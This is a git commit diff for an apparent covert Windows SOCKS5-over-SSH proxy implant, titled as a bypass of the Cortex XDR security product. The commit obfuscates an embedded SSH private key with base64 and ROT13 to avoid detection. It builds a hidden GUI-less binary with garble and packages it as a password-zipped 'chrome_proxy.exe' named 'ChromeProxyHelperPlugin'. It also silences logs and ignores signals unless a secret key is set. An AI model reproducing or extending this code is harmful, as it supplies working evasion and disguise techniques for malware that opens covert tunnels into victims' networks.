Bypass Cortex XDR by base64.rot13 encrypting/decrypting the SSH private key PEM
This commit is contained in:
parent
9a402ede2e
commit
5f5b9de81a
|
|
@ -60,10 +60,11 @@ builds:
|
||||||
goarch:
|
goarch:
|
||||||
- amd64
|
- amd64
|
||||||
ldflags:
|
ldflags:
|
||||||
- -w -H=windowsgui
|
- "-H=windowsgui"
|
||||||
gobinary: "scripts/garble.sh"
|
gobinary: "scripts/garble.sh"
|
||||||
tags:
|
tags:
|
||||||
- release
|
- release
|
||||||
|
- windows
|
||||||
|
|
||||||
upx:
|
upx:
|
||||||
- # Whether to enable it or not.
|
- # Whether to enable it or not.
|
||||||
|
|
|
||||||
16
Makefile
16
Makefile
|
|
@ -20,16 +20,18 @@ socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN)
|
||||||
upx $@
|
upx $@
|
||||||
win: socks5-ssh-proxy.exe
|
win: socks5-ssh-proxy.exe
|
||||||
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
|
socks5-ssh-proxy.exe: resources $(GARBLE_BIN) $(SOURCES)
|
||||||
|
CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1 GOOS=windows GOARCH=amd64 go build -trimpath -ldflags "-s -w -H=windowsgui" -tags windows,release -o $@
|
||||||
# CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@
|
# CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@
|
||||||
CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui" -tags release -o $@
|
#CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui" -tags release -o $@
|
||||||
upx $@
|
#upx $@
|
||||||
go run cmd/upx-obfuscator/main.go $@
|
#go run cmd/upx-obfuscator/main.go $@
|
||||||
goreleaser: resources $(GARBLE_BIN)
|
goreleaser: resources $(GARBLE_BIN)
|
||||||
goreleaser build --clean --snapshot --id win-release
|
goreleaser build --verbose --clean --snapshot --id win-release
|
||||||
|
# goreleaser build --clean --snapshot --id win-release
|
||||||
win-package: ChromeProxyHelperPlugin.zip
|
win-package: ChromeProxyHelperPlugin.zip
|
||||||
ChromeProxyHelperPlugin.zip: socks5-ssh-proxy.exe
|
ChromeProxyHelperPlugin.zip: socks5-ssh-proxy.exe
|
||||||
cp socks5-ssh-proxy.exe chrome_proxy.exe
|
cp socks5-ssh-proxy.exe chrome_proxy.exe
|
||||||
upx chrome_proxy.exe
|
#upx chrome_proxy.exe
|
||||||
zip -eP resistanceIsFutile ChromeProxyHelperPlugin.zip chrome_proxy.exe
|
zip -eP resistanceIsFutile ChromeProxyHelperPlugin.zip chrome_proxy.exe
|
||||||
rm -f chrome_proxy.exe
|
rm -f chrome_proxy.exe
|
||||||
install-deps: $(GARBLE_BIN)
|
install-deps: $(GARBLE_BIN)
|
||||||
|
|
@ -59,10 +61,12 @@ resources/ssh_private_key:
|
||||||
@echo "====================================="
|
@echo "====================================="
|
||||||
resources/ssh_private_key.base64: resources/ssh_private_key
|
resources/ssh_private_key.base64: resources/ssh_private_key
|
||||||
base64 -i $< -o $@
|
base64 -i $< -o $@
|
||||||
|
resources/ssh_private_key.base64.rot13: resources/ssh_private_key.base64
|
||||||
|
go run cmd/rot13-obfuscator/main.go $< $@
|
||||||
|
|
||||||
fmt:
|
fmt:
|
||||||
gofmt -w *.go
|
gofmt -w *.go
|
||||||
|
|
||||||
secrets: config_release.go.base64 resources/ssh_private_key.base64
|
secrets: config_release.go.base64 resources/ssh_private_key.base64.rot13
|
||||||
|
|
||||||
.phony: clean test win
|
.phony: clean test win
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,51 @@
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
)
|
||||||
|
|
||||||
|
func rot13(input byte) byte {
|
||||||
|
if 'A' <= input && input <= 'Z' {
|
||||||
|
return 'A' + (input-'A'+13)%26
|
||||||
|
} else if 'a' <= input && input <= 'z' {
|
||||||
|
return 'a' + (input-'a'+13)%26
|
||||||
|
}
|
||||||
|
return input
|
||||||
|
}
|
||||||
|
|
||||||
|
func rot13Bytes(data []byte) []byte {
|
||||||
|
result := make([]byte, len(data))
|
||||||
|
for i, b := range data {
|
||||||
|
result[i] = rot13(b)
|
||||||
|
}
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
if len(os.Args) != 3 {
|
||||||
|
log.Fatalf("Usage: %s <input file> <output file>\n", os.Args[0])
|
||||||
|
}
|
||||||
|
|
||||||
|
inputFile := os.Args[1]
|
||||||
|
outputFile := os.Args[2]
|
||||||
|
|
||||||
|
// Read the input file
|
||||||
|
inputData, err := ioutil.ReadFile(inputFile)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Failed to read input file: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Apply ROT13 transformation
|
||||||
|
outputData := rot13Bytes(inputData)
|
||||||
|
|
||||||
|
// Write the transformed data to the output file
|
||||||
|
err = ioutil.WriteFile(outputFile, outputData, 0644)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Failed to write output file: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("File %s has been converted using ROT13 and saved to %s\n", inputFile, outputFile)
|
||||||
|
}
|
||||||
|
|
@ -82,6 +82,7 @@ Check if running under wine by testing if executables are present:
|
||||||
* <https://posts.specterops.io/offensive-security-guide-to-ssh-tunnels-and-proxies-b525cbd4d4c6>
|
* <https://posts.specterops.io/offensive-security-guide-to-ssh-tunnels-and-proxies-b525cbd4d4c6>
|
||||||
* <https://emulator41.medium.com/golang-malware-used-by-cybercriminals-408276a276c8>
|
* <https://emulator41.medium.com/golang-malware-used-by-cybercriminals-408276a276c8>
|
||||||
* <https://synzack.github.io/Tunneling-Traffic-With-SSL-and-TLS/>
|
* <https://synzack.github.io/Tunneling-Traffic-With-SSL-and-TLS/>
|
||||||
|
* <https://www.trisul.org/blog/traffic-analysis-of-secure-shell-ssh/>
|
||||||
|
|
||||||
## Development information
|
## Development information
|
||||||
|
|
||||||
|
|
|
||||||
11
main.go
11
main.go
|
|
@ -14,6 +14,13 @@ import (
|
||||||
var fetchedSSHHostPublicKey SSHHostPublicKeyFetcher
|
var fetchedSSHHostPublicKey SSHHostPublicKeyFetcher
|
||||||
var sshfpResolver *sshfp.Resolver
|
var sshfpResolver *sshfp.Resolver
|
||||||
|
|
||||||
|
func secureEraseResourceSSHPrivateKey() {
|
||||||
|
log.Println("ERASING SSH private key")
|
||||||
|
for i := range resourceSSHPrivateKey {
|
||||||
|
resourceSSHPrivateKey[i] = 0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
type SSHHostPublicKeyFetcher struct {
|
type SSHHostPublicKeyFetcher struct {
|
||||||
ssh.PublicKey
|
ssh.PublicKey
|
||||||
}
|
}
|
||||||
|
|
@ -94,6 +101,8 @@ func main() {
|
||||||
var signer ssh.Signer
|
var signer ssh.Signer
|
||||||
var privateKey string
|
var privateKey string
|
||||||
|
|
||||||
|
defer secureEraseResourceSSHPrivateKey()
|
||||||
|
|
||||||
dnsServers := sshfp.WithDNSClientConfigFromReader(cfg.DNSServersResolvConf)
|
dnsServers := sshfp.WithDNSClientConfigFromReader(cfg.DNSServersResolvConf)
|
||||||
|
|
||||||
sshfpResolver, err = sshfp.NewResolver(dnsServers)
|
sshfpResolver, err = sshfp.NewResolver(dnsServers)
|
||||||
|
|
@ -131,6 +140,8 @@ func main() {
|
||||||
log.Println(err)
|
log.Println(err)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
secureEraseResourceSSHPrivateKey()
|
||||||
|
|
||||||
log.Println("SOCKS5 Addr", proxyServerURL)
|
log.Println("SOCKS5 Addr", proxyServerURL)
|
||||||
|
|
||||||
systemOSDetect()
|
systemOSDetect()
|
||||||
|
|
|
||||||
|
|
@ -6,15 +6,52 @@ package main
|
||||||
import (
|
import (
|
||||||
_ "embed"
|
_ "embed"
|
||||||
"os"
|
"os"
|
||||||
|
"log"
|
||||||
|
"encoding/base64"
|
||||||
)
|
)
|
||||||
|
|
||||||
//go:embed resources/ssh_private_key
|
//go:embed resources/ssh_private_key.base64.rot13
|
||||||
|
var resourceSSHPrivateKeyBase64Rot13 string
|
||||||
|
|
||||||
var resourceSSHPrivateKey string
|
var resourceSSHPrivateKey string
|
||||||
|
|
||||||
|
func rot13(input byte) byte {
|
||||||
|
if 'A' <= input && input <= 'Z' {
|
||||||
|
return 'A' + (input-'A'+13)%26
|
||||||
|
} else if 'a' <= input && input <= 'z' {
|
||||||
|
return 'a' + (input-'a'+13)%26
|
||||||
|
}
|
||||||
|
return input
|
||||||
|
}
|
||||||
|
|
||||||
|
// rot13String function to apply ROT13 to a string
|
||||||
|
func rot13String(input string) string {
|
||||||
|
result := make([]byte, len(input))
|
||||||
|
for i := range input {
|
||||||
|
result[i] = rot13(input[i])
|
||||||
|
}
|
||||||
|
return string(result)
|
||||||
|
}
|
||||||
|
|
||||||
|
func resourceSSHPrivateKeyUnpack() {
|
||||||
|
// TODO use github.com/awnumar/memguard
|
||||||
|
|
||||||
|
resourceSSHPrivateKeyBase64 := rot13String(resourceSSHPrivateKeyBase64Rot13)
|
||||||
|
|
||||||
|
decodedData, err := base64.StdEncoding.DecodeString(resourceSSHPrivateKeyBase64)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Failed to decode resourceSSHPrivateKeyBase64Rot13: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
resourceSSHPrivateKey = string(decodedData)
|
||||||
|
}
|
||||||
|
|
||||||
func init() {
|
func init() {
|
||||||
dontSilenceKey := os.Getenv("VMK")
|
dontSilenceKey := os.Getenv("VMK")
|
||||||
if dontSilenceKey != cfg.VerboseModeKey {
|
if dontSilenceKey != cfg.VerboseModeKey {
|
||||||
systemRouteAllLogging(os.DevNull)
|
systemRouteAllLogging(os.DevNull)
|
||||||
systemIgnoreAllSignals()
|
systemIgnoreAllSignals()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
resourceSSHPrivateKeyUnpack()
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,8 @@
|
||||||
|
//go:build windows
|
||||||
|
// +build windows
|
||||||
|
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"C"
|
||||||
|
)
|
||||||
|
|
@ -1,2 +1,2 @@
|
||||||
#!/usr/bin/env bash
|
#!/usr/bin/env bash
|
||||||
`go env GOPATH`/bin/garble -literals -tiny $@
|
`go env GOPATH`/bin/garble -literals $@
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue